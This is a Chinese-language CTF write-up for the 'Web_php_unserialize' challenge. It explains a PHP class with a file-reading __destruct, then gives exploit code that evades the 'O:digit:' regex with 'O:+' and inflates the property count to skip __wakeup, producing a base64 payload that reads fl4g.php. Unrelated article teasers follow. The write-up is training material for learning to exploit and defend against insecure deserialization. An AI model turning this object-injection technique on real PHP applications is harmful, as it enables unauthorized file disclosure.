Web_php_unserialize

news/2024/11/8 9:23:30/

源码解析

依旧是反序化漏洞,本源码定义了一个Demo的类,里包含了__construct、__destruct()、__wakeup三个方法

简介:
__construct()方法是在创建对象时,调用赋初值

__destruct()方法是在对象不再使用时自动调用,这里的主要目的是高亮显示file属性里的数据,并以字符串的形式回显出来

__wakeup()方法是在进行反序列化之前进行调用,主要目的是为了检测file属性里是不是index.php,如果不是就重新赋值为index.php
<?php 
class Demo { private $file = 'index.php';public function __construct($file) { $this->file = $file; }function __destruct() { echo @highlight_file($this->file, true); }function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php$this->file = 'index.php'; } } 
}
if (isset($_GET['var'])) { $var = base64_decode($_GET['var']); if (preg_match('/[oc]:\d+:/i', $var)) { die('stop hacking!'); } else {@unserialize($var); } 
} else { highlight_file("index.php"); 
} 
?>

最后传参部分接受GET方法传参,并且会将传入的参数进行base64解密

接着利用正则表达式判断参数中是否含有O:数字:或者C:数字:(不区分大小写)

如果有就直接结束程序,如果不是就对参数进行反序列化还原

解题步骤

首先我们得知需要绕过的地方有两处

第一是传参的正则表达式

绕过方法为:利用str_replace函数对参数中的O:替换为O:+

第二是__wakeup方法

绕过方式:当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

为了绕过__wakeup(),我们将1改为任意大于1的都行

既然绕过了__wakeup方法,说明file属性不会被强制赋值和检测,所以我们可以直接将file属性的值改为flag.php

最终代码


class Demo 
{ private $file = 'fl4g.php';
}
$a= serialize(new Demo);
$a = str_replace('O:',"O:+",$a);
$a = str_replace("1:","6:",$a);
echo base64_encode($a);
?>

获得flag


http://www.ppmy.cn/news/703867.html

相关文章

在uView中的DatetimePicker 实现《年月日时分秒》

效果图&#xff1a; 1、 在依赖包里找到uview-ui--components--u-datetime-picker文件 注&#xff1a;在代码组件中mode默认值为 ‘datetime’&#xff0c;初始类型即为&#xff1a;年月日时分秒 1.1、添加dayjs.js文件 !(function (t, e) {typeof exports object &&a…

小米10TPro参数配置

10T Pro 正面采用的是单挖孔直屏的设计&#xff0c;可能由于工程机的缘故系统界面是原生 Android 10 而非 MIUI。 小米手机爆降500太给力了 https://www.xiaomi.com 机身有三种配色&#xff0c;背部的矩形相机模组乍一看有点像 vivo X50 Pro 的设计&#xff0c;将直径最大的主摄…

小米20pro参数配置 小米20pro怎么样

小米20pro将会搭载一块6.8英寸的无界瀑布屏&#xff0c;刷新率为120Hz&#xff0c;分辨率高达4K级别&#xff0c;同时也支持支持护眼模式。 小米手机爆降600这活动太给力了 机会不容错过 https://www.xiaomi.cn 小米20pro的相机配置也是一流的&#xff0c;全新的索尼五摄&#…

python爬取京东手机参数_python抓取京东小米8手机配置信息

本文代码是使用python抓取京东小米8手机的配置信息 首先找到小米8商品的链接&#xff1a;https://item.jd.com/7437788.html 然后找到其配置信息的标签&#xff0c;我们找到其配置信息的标签为 然后再分析其配置信息的页面的规律&#xff0c;我们发现都是dl中包含了dt和dd&…

使用MATLAB进行FFT变换并提取前20个频谱幅值特征

使用MATLAB进行FFT变换并提取前20个频谱幅值特征可以按照以下步骤进行&#xff1a; % 假设你的信号是一个列向量&#xff0c;名为signal。 % 假设你的采样率为Fs。 % 确保你已经加载了信号数据&#xff0c;并将其存储在signal变量中。% 计算信号长度和FFT长度 N length(signa…

二叉树题目:相同的树

文章目录 题目标题和出处难度题目描述要求示例数据范围 解法一思路和算法代码复杂度分析 解法二思路和算法代码复杂度分析 题目 标题和出处 标题&#xff1a;相同的树 出处&#xff1a;100. 相同的树 难度 3 级 题目描述 要求 给你两个二叉树的根结点 p \texttt{p} p …

xb8886a规格书_拆解报告:Baseus倍思Bipow 10000mAh USB PD快充移动电源N1PD

拆解报告:Baseus倍思Bipow 10000mAh USB PD快充移动电源N1PD 2019-12-27 20:21:28 1点赞 6收藏 3评论 Baseus倍思一直致力于充电配件的研发与生产,充电头网也拆解过不少倍思的产品,可以说质量还是不错的。最近充电头网拿到一款倍思的移动电源,这款充电宝小巧便携,容量却达…

拆解:比银行卡面积还小的充电宝,怎么做到10000mAh?

移动电源容量有的大有的小&#xff0c;容量大的续航强但外型“傻大粗”就像一块大板砖&#xff0c;容量小的外型精巧但续航差中看不中用。有没有既满足大容量需求又能做到精美小巧的移动电源呢&#xff1f; 移动电源容量有的大有的小&#xff0c;容量大的续航强但外型“傻大粗…